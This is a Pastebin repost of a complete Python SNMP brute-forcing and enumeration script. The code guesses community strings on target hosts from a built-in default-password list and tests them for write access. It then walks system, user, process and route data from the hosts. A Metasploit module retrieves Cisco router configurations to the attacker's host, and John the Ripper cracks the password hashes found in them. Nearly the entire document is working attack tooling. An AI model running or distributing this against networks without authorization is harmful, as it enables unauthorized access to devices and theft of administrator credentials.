Advertisement
Aluf

SNMP Bruteforcer By Aluf

Feb 19th, 2015
722
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.56 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Requires metasploit, snmpwalk, snmpstat and John the Ripper
  3.  
  4. # SNMP Bruteforce & Enumeration Script
  5. # http://www.secforce.com / nikos.vassakis <at> secforce.com
  6. # ##########################################################
  7. __version__ = 'v1.0b'
  8.  
  9. from socket import socket, SOCK_DGRAM, AF_INET, timeout
  10. from random import randint
  11. from time import sleep
  12. import optparse, sys, os
  13. from subprocess import Popen, PIPE
  14. import struct
  15. import threading, thread
  16. import tempfile
  17.  
  18. from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS,
  19. SNMPset, SNMPbulk, IP)
  20.  
  21. ##########################################################################################################
  22. # Defaults
  23. ##########################################################################################################
  24. class defaults:
  25. rate=250.0
  26. timeOut=1.0
  27. port=161
  28. delay=2
  29. interactive=True
  30. verbose=False
  31. getcisco=True
  32. colour=True
  33.  
  34. default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','<removed>','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI']
  35.  
  36. ##########################################################################################################
  37. # OID's
  38. ##########################################################################################################
  39. ''' Credits
  40. Some OID's borowed from Cisc0wn script
  41. # Cisc0wn - The Cisco SNMP 0wner.
  42. # Daniel Compton
  43. # www.commonexploits.com
  44. '''
  45.  
  46. RouteOIDS={
  47. 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"],
  48. 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"],
  49. 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"],
  50. 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"],
  51. 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"],
  52. 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"],
  53. 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"],
  54. 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"]
  55. }
  56.  
  57. InterfaceOIDS={
  58. #Interface Info
  59. 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"],
  60. 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"],
  61. 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"],
  62. 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"]
  63. }
  64.  
  65. ARPOIDS={
  66. # Arp table
  67. 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"],
  68. 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"]
  69. }
  70.  
  71. OIDS={
  72. 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"]
  73. }
  74.  
  75. snmpstat_args={
  76. 'Interfaces':["-Ci","Interface Info"],
  77. 'Routing':["-Cr","Route Info"],
  78. 'Netstat':["","Netstat"],
  79. #'Statistics':["-Cs","Stats"]
  80. }
  81.  
  82. '''Credits
  83. The following OID's are borrowed from snmpenum.pl script
  84. # ----by filip waeytens 2003----
  85. # ---- DA SCANIT CREW www.scanit.be ----
  86. '''
  87.  
  88. WINDOWS_OIDS={
  89. 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
  90. 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"],
  91. 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"],
  92. 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
  93. 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"],
  94. 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"],
  95. 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
  96. 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"],
  97. 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"],
  98. 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"],
  99. 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"],
  100. 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"]
  101. }
  102.  
  103. LINUX_OIDS={
  104. 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
  105. 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"],
  106. 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
  107. 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
  108. 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"],
  109. 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"],
  110. 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"],
  111. 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"]
  112. }
  113.  
  114. CISCO_OIDS={
  115. 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"],
  116. 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"],
  117. 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"],
  118. 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
  119. 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"],
  120. 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
  121. 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"],
  122. 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"],
  123. 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"],
  124. 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"],
  125. 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"],
  126. 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"],
  127. 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"]
  128. }
  129.  
  130. ##########################################################################################################
  131. # Classes
  132. ##########################################################################################################
  133.  
  134. class SNMPError(Exception):
  135. '''Credits
  136. Class copied from sploitego project
  137. __original_author__ = 'Nadeem Douba'
  138. https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
  139. '''
  140. pass
  141.  
  142. class SNMPVersion:
  143. '''Credits
  144. Class copied from sploitego project
  145. __original_author__ = 'Nadeem Douba'
  146. https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
  147. '''
  148. v1 = 0
  149. v2c = 1
  150. v3 = 2
  151.  
  152. @classmethod
  153. def iversion(cls, v):
  154. if v in ['v1', '1']:
  155. return cls.v1
  156. elif v in ['v2', '2', 'v2c']:
  157. return cls.v2c
  158. elif v in ['v3', '3']:
  159. return cls.v3
  160. raise ValueError('No such version %s' % v)
  161.  
  162. @classmethod
  163. def sversion(cls, v):
  164. if not v:
  165. return 'v1'
  166. elif v == 1:
  167. return 'v2c'
  168. elif v == 2:
  169. return 'v3'
  170. raise ValueError('No such version number %s' % v)
  171.  
  172. class SNMPBruteForcer(object):
  173. #This class is used for the sploitego method of bruteforce (--sploitego)
  174. '''Credits
  175. Class copied from sploitego project
  176. __original_author__ = 'Nadeem Douba'
  177. https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
  178. '''
  179. def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000):
  180. self.version = SNMPVersion.iversion(version)
  181. self.s = socket(AF_INET, SOCK_DGRAM)
  182. self.s.settimeout(timeout)
  183. self.addr = (agent, port)
  184. self.rate = rate
  185.  
  186. def guess(self, communities):
  187.  
  188. p = SNMP(
  189. version=self.version,
  190. PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
  191. )
  192. r = []
  193. for c in communities:
  194. i = randint(0, 2147483647)
  195. p.PDU.id = i
  196. p.community = c
  197. self.s.sendto(str(p), self.addr)
  198. sleep(1/self.rate)
  199. while True:
  200. try:
  201. p = SNMP(self.s.recvfrom(65535)[0])
  202. except timeout:
  203. break
  204. r.append(p.community.val)
  205. return r
  206.  
  207. def __del__(self):
  208. self.s.close()
  209.  
  210. class SNMPResults:
  211. addr=''
  212. version=''
  213. community=''
  214. write=False
  215.  
  216. def __eq__(self, other):
  217. return self.addr == other.addr and self.version == other.version and self.community == other.community
  218.  
  219. ##########################################################################################################
  220. # Colour output functions
  221. ##########################################################################################################
  222.  
  223. # for color output
  224. BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
  225.  
  226. #following from Python cookbook, #475186
  227. def has_colours(stream):
  228. if not hasattr(stream, "isatty"):
  229. return False
  230. if not stream.isatty():
  231. return False # auto color only on TTYs
  232. try:
  233. import curses
  234. curses.setupterm()
  235. return curses.tigetnum("colors") > 2
  236. except:
  237. # guess false in case of error
  238. return False
  239. has_colours = has_colours(sys.stdout)
  240.  
  241. def printout(text, colour=WHITE):
  242.  
  243. if has_colours and defaults.colour:
  244. seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n"
  245. sys.stdout.write(seq)
  246. else:
  247. #sys.stdout.write(text)
  248. print text
  249.  
  250.  
  251. ##########################################################################################################
  252. #
  253. ##########################################################################################################
  254.  
  255. def banner(art=True):
  256. if art:
  257. print >> sys.stderr, " _____ _ ____ _______ ____ __ "
  258. print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ "
  259. print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\"
  260. print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/"
  261. print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ "
  262. print >> sys.stderr, ""
  263. print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__
  264. print >> sys.stderr, "http://www.secforce.com / nikos.vassakis <at> secforce.com"
  265. print >> sys.stderr, "###############################################################"
  266. print >> sys.stderr, ""
  267.  
  268. def listener(sock,results):
  269. while True:
  270. try:
  271. response,addr=SNMPrecv(sock)
  272. except timeout:
  273. continue
  274. except KeyboardInterrupt:
  275. break
  276. except:
  277. break
  278. r=SNMPResults()
  279. r.addr=addr
  280. r.version=SNMPVersion.sversion(response.version.val)
  281. r.community=response.community.val
  282. results.append(r)
  283. printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE)
  284.  
  285. def SNMPrecv(sock):
  286. try:
  287. recv,addr=sock.recvfrom(65535)
  288. response = SNMP(recv)
  289. return response,addr
  290. except:
  291. raise
  292.  
  293. def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate):
  294. addr = (ip, port)
  295. for packet in packets:
  296. i = randint(0, 2147483647)
  297. packet.PDU.id = i
  298. packet.community = community
  299. sock.sendto(str(packet), addr)
  300. sleep(1/rate)
  301.  
  302. def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut):
  303. s = socket(AF_INET, SOCK_DGRAM)
  304. s.settimeout(TimeOut)
  305. response=''
  306. r=result
  307.  
  308. version = SNMPVersion.iversion(r.version)
  309. if value:
  310. p = SNMP(
  311. version=version,
  312. PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)])
  313. )
  314. else:
  315. p = SNMP(
  316. version=version,
  317. PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))])
  318. )
  319.  
  320. SNMPsend(s,p,r.addr[0],r.addr[1],r.community)
  321. for x in range(0, 5):
  322. try:
  323. response,addr=SNMPrecv(s)
  324. break
  325. except timeout: # if request times out retry
  326. sleep(0.5)
  327. continue
  328. s.close
  329. if not response:
  330. raise timeout
  331. return response
  332.  
  333. def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'):
  334. #Alt .1.3.6.1.2.1.1.5.0
  335.  
  336. setval='HASH(0xDEADBEF)'
  337. for r in results:
  338. try:
  339. originalval=SNMPRequest(r,OID)
  340.  
  341. if originalval:
  342. originalval=originalval[SNMPvarbind].value.val
  343.  
  344. SNMPRequest(r,OID,setval)
  345. curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
  346.  
  347. if curval == setval:
  348. r.write=True
  349. try:
  350. SNMPRequest(r,OID,originalval)
  351. except timeout:
  352. pass
  353. if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN)
  354. curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
  355. if curval != originalval:
  356. printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED)
  357. else:
  358. if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE)
  359. else:
  360. r.write=None
  361. printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED)
  362. except timeout:
  363. r.write=None
  364. printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED)
  365. continue
  366.  
  367. def generic_snmpwalk(snmpwalk_args,oids):
  368. for key, val in oids.items():
  369. try:
  370. printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
  371. entry={}
  372. out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
  373.  
  374. print '\tINFO'
  375. print '\t----\t'
  376. for i in out:
  377. print '\t',i.strip()
  378. print '\n'
  379. except KeyboardInterrupt:
  380. pass
  381.  
  382. def enumerateSNMPWalk(result,options):
  383. r=result
  384.  
  385. snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1])
  386.  
  387. ############################################################### Enumerate OS
  388. if options.windows:
  389. generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS)
  390. return
  391. if options.linux:
  392. generic_snmpwalk(snmpwalk_args,LINUX_OIDS)
  393. return
  394. if options.cisco:
  395. generic_snmpwalk(snmpwalk_args,CISCO_OIDS)
  396.  
  397. ############################################################### Enumerate CISCO Specific
  398. ############################################################### Enumerate Routes
  399. entry={}
  400. out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines()
  401. lines = len(out)
  402.  
  403. printout('################## Enumerating Routing Table (snmpwalk)',YELLOW)
  404. try:
  405. for key, val in RouteOIDS.items(): #Enumerate Routes
  406. #print '\t *',val[1], val[0]
  407. out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines()
  408.  
  409. entry[val[1]]=out
  410.  
  411.  
  412. print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge'
  413. print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---'
  414. for j in range(lines):
  415. print( '\t'+entry['Destination'][j].strip().ljust(12,' ') +
  416. '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') +
  417. '\t'+entry['Mask'][j].strip().ljust(12,' ') +
  418. '\t\t'+entry['Metric'][j].strip().center(6,' ') +
  419. '\t'+entry['Interface'][j].strip().center(10,' ') +
  420. '\t'+entry['Route type'][j].strip().center(4,' ') +
  421. '\t'+entry['Route protocol'][j].strip().center(8,' ') +
  422. '\t'+entry['Route age'][j].strip().center(3,' ')
  423. )
  424. except KeyboardInterrupt:
  425. pass
  426.  
  427. ############################################################### Enumerate Arp
  428. print '\n'
  429. for key, val in ARPOIDS.items():
  430. try:
  431. printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW)
  432. entry={}
  433. out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines()
  434.  
  435. lines=len(out)/3
  436.  
  437. entry['V']=out[0*lines:1*lines]
  438. entry['MAC']=out[1*lines:2*lines]
  439. entry['IP']=out[2*lines:3*lines]
  440.  
  441.  
  442. print '\tIP\t\tMAC\t\t\tV'
  443. print '\t--\t\t---\t\t\t--'
  444. for j in range(lines):
  445. print( '\t'+entry['IP'][j].strip().ljust(12,' ') +
  446. '\t'+entry['MAC'][j].strip().ljust(18,' ') +
  447. '\t'+entry['V'][j].strip().ljust(2,' ')
  448. )
  449. print '\n'
  450. except KeyboardInterrupt:
  451. pass
  452.  
  453. ############################################################### Enumerate SYSTEM
  454. for key, val in OIDS.items():
  455. try:
  456. printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
  457. entry={}
  458. out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
  459.  
  460. print '\tINFO'
  461. print '\t----\t'
  462. for i in out:
  463. print '\t',i.strip()
  464. print '\n'
  465. except KeyboardInterrupt:
  466. pass
  467. ############################################################### Enumerate Interfaces
  468. for key, val in snmpstat_args.items():
  469. try:
  470. printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
  471. out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines()
  472.  
  473. for i in out:
  474. print '\t',i.strip()
  475. print '\n'
  476. except KeyboardInterrupt:
  477. pass
  478.  
  479. def get_cisco_config(result,options):
  480. printout(('################## Trying to get config with: %s'% result.community),YELLOW)
  481.  
  482. identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read()
  483.  
  484. if options.interactive:
  485. Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip()
  486. else:
  487. Local_ip = identified_ip.strip()
  488.  
  489. if not (os.path.isdir("./output")):
  490. os.popen('mkdir output')
  491.  
  492. p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1
  493.  
  494.  
  495. print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E '
  496.  
  497. out=[]
  498. while p.poll() is None:
  499. line=p.stdout.readline()
  500. out.append(line)
  501. print '\t',line.strip()
  502.  
  503. printout('################## Passwords Found:',YELLOW)
  504. encrypted=[]
  505. for i in out:
  506. if "Password" in i:
  507. print '\t',i.strip()
  508. if "Encrypted" in i:
  509. encrypted.append(i.split()[-1])
  510.  
  511. if encrypted:
  512. print '\nCrack encrypted password(s)?'
  513. for i in encrypted:
  514. print '\t',i
  515.  
  516. #if (False if raw_input("(Y/n):").lower() == 'n' else True):
  517. if not get_input("(Y/n):",'n',options):
  518.  
  519. with open('./hashes', 'a') as f:
  520. for i in encrypted:
  521. f.write(i+'\n')
  522.  
  523. p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
  524. while p.poll() is None:
  525. print '\t',p.stdout.readline()
  526. print 'Passwords Cracked:'
  527. out=os.popen('john ./hashes --show').readlines()
  528. for i in out:
  529. print '\t', i.strip()
  530.  
  531. out=[]
  532. while p.poll() is None:
  533. line=p.stdout.readline()
  534. out.append(line)
  535. print '\t',line.strip()
  536.  
  537. def select_community(results,options):
  538. default=None
  539. try:
  540. printout("\nIdentified Community strings",WHITE)
  541.  
  542. for l,r in enumerate(results):
  543. if r.write==True:
  544. printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN)
  545. default=l
  546. elif r.write==False:
  547. printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE)
  548. else:
  549. printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED)
  550.  
  551. if default is None:
  552. default = l
  553.  
  554. if not options.enum:
  555. return
  556.  
  557. if options.interactive:
  558. selection=raw_input("Select Community to Enumerate ["+str(default)+"]:")
  559. if not selection:
  560. selection=default
  561. else:
  562. selection=default
  563.  
  564. try:
  565. return results[int(selection)]
  566. except:
  567. return results[l]
  568. except KeyboardInterrupt:
  569. exit(0)
  570.  
  571. def SNMPenumeration(result,options):
  572. getcisco=defaults.getcisco
  573. try:
  574. printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW)
  575. enumerateSNMPWalk(result,options)
  576.  
  577. if options.windows or options.linux:
  578. if not get_input("Get Cisco Config (y/N):",'y',options):
  579. getcisco=False
  580. if getcisco:
  581. get_cisco_config(result,options)
  582. except KeyboardInterrupt:
  583. print '\n'
  584. return
  585.  
  586. def password_brutefore(options, communities, ips):
  587. s = socket(AF_INET, SOCK_DGRAM)
  588. s.settimeout(options.timeOut)
  589.  
  590. results=[]
  591.  
  592. #Start the listener
  593. T = threading.Thread(name='listener', target=listener, args=(s,results,))
  594. T.start()
  595.  
  596. # Craft SNMP's for both versions
  597. p1 = SNMP(
  598. version=SNMPVersion.iversion('v1'),
  599. PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
  600. )
  601. p2c = SNMP(
  602. version=SNMPVersion.iversion('v2c'),
  603. PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
  604. )
  605.  
  606. packets = [p1, p2c]
  607.  
  608. #We try each community string
  609. for i,community in enumerate(communities):
  610. #sys.stdout.write('\r{0}'.format('.' * i))
  611. #sys.stdout.flush()
  612. for ip in ips:
  613. SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate)
  614.  
  615. #We read from STDIN if necessary
  616. if options.stdin:
  617. while True:
  618. try:
  619. try:
  620. community=raw_input().strip('\n')
  621. for ip in ips:
  622. SNMPsend(s, packets, ip, options.port, community, options.rate)
  623. except EOFError:
  624. break
  625. except KeyboardInterrupt:
  626. break
  627.  
  628. try:
  629. print "Waiting for late packets (CTRL+C to stop)"
  630. sleep(options.timeOut+options.delay) #Waiting in case of late response
  631. except KeyboardInterrupt:
  632. pass
  633. T._Thread__stop()
  634. s.close
  635.  
  636. #We remove any duplicates. This relies on the __equal__
  637. newlist = []
  638. for i in results:
  639. if i not in newlist:
  640. newlist.append(i)
  641. return newlist
  642.  
  643. def get_input(string,non_default_option,options):
  644. #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False)
  645.  
  646. if options.interactive:
  647. if raw_input(string).lower() == non_default_option:
  648. return True
  649. else:
  650. return False
  651. else:
  652. print string
  653. return False
  654.  
  655. def main():
  656.  
  657. parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter())
  658.  
  659. parser.set_usage("python snmp-brute.py -t <IP> -f <DICTIONARY>")
  660. #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help())
  661. parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store')
  662. parser.add_option('-t','--target', help='Host IP', dest='ip', action='store')
  663. parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port)
  664.  
  665.  
  666. groupAlt = optparse.OptionGroup(parser, "Alternative Options")
  667. groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False)
  668. groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store')
  669. groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False)
  670.  
  671.  
  672. groupAuto = optparse.OptionGroup(parser, "Automation")
  673. groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True)
  674. groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True)
  675. groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True)
  676.  
  677. groupAdvanced = optparse.OptionGroup(parser, "Advanced")
  678. groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate)
  679. groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut)
  680. groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay)
  681.  
  682. groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store')
  683. groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False)
  684.  
  685. groupOS = optparse.OptionGroup(parser, "Operating Systems")
  686. groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False)
  687. groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False)
  688. groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False)
  689.  
  690. parser.add_option_group(groupAdvanced)
  691. parser.add_option_group(groupAuto)
  692. parser.add_option_group(groupOS)
  693. parser.add_option_group(groupAlt)
  694.  
  695. (options, arguments) = parser.parse_args()
  696.  
  697. communities=[]
  698. ips=[]
  699.  
  700. banner(options.colour) #For SPARTA!!!
  701.  
  702. if not options.ip and not options.lfile:
  703. #Can't continue without target
  704. parser.print_help()
  705. exit(0)
  706. else:
  707. # Create the list of targets
  708. if options.lfile:
  709. try:
  710. with open(options.lfile) as t:
  711. ips = t.read().splitlines() #Potential DoS
  712. except:
  713. print "Could not open targets file: " + options.lfile
  714. exit(0)
  715. else:
  716. ips.append(options.ip)
  717.  
  718. if not options.colour:
  719. defaults.colour=False
  720.  
  721. # Create the list of communities
  722. if options.dictionary: # Read from file
  723. with open(options.dictionary) as f:
  724. communities=f.read().splitlines() #Potential DoS
  725. elif options.community: # Single community
  726. communities.append(options.community)
  727. elif options.stdin: # Read from input
  728. communities=[]
  729. else: #if not options.community and not options.dictionary and not options.stdin:
  730. communities=default_communities
  731.  
  732. #We ensure that default communities are included
  733. #if 'public' not in communities:
  734. # communities.append('public')
  735. #if 'private' not in communities:
  736. # communities.append('private')
  737.  
  738. if options.stdin:
  739. options.interactive=False
  740.  
  741. results=[]
  742.  
  743. if options.stdin:
  744. print >> sys.stderr, "Reading input for community strings ..."
  745. else:
  746. print >> sys.stderr, "Trying %d community strings ..." % len(communities)
  747.  
  748. if options.sploitego: #sploitego method of bruteforce
  749. if ips:
  750. for ip in ips:
  751. for version in ['v1', 'v2c']:
  752. bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate)
  753. result=bf.guess(communities)
  754. for i in result:
  755. r=SNMPResults()
  756. r.addr=(ip,options.port)
  757. r.version=version
  758. r.community=i
  759. results.append(r)
  760. print ip, version+'\t',result
  761. else:
  762. parser.print_help()
  763.  
  764. else:
  765. results = password_brutefore(options, communities, ips)
  766.  
  767. #We identify whether the community strings are read or write
  768. if results:
  769. printout("\nTrying identified strings for READ-WRITE ...",WHITE)
  770. testSNMPWrite(results,options)
  771. else:
  772. printout("\nNo Community strings found",RED)
  773. exit(0)
  774.  
  775. #We attempt to enumerate the router
  776. while options.enum:
  777. SNMPenumeration(select_community(results,options),options)
  778.  
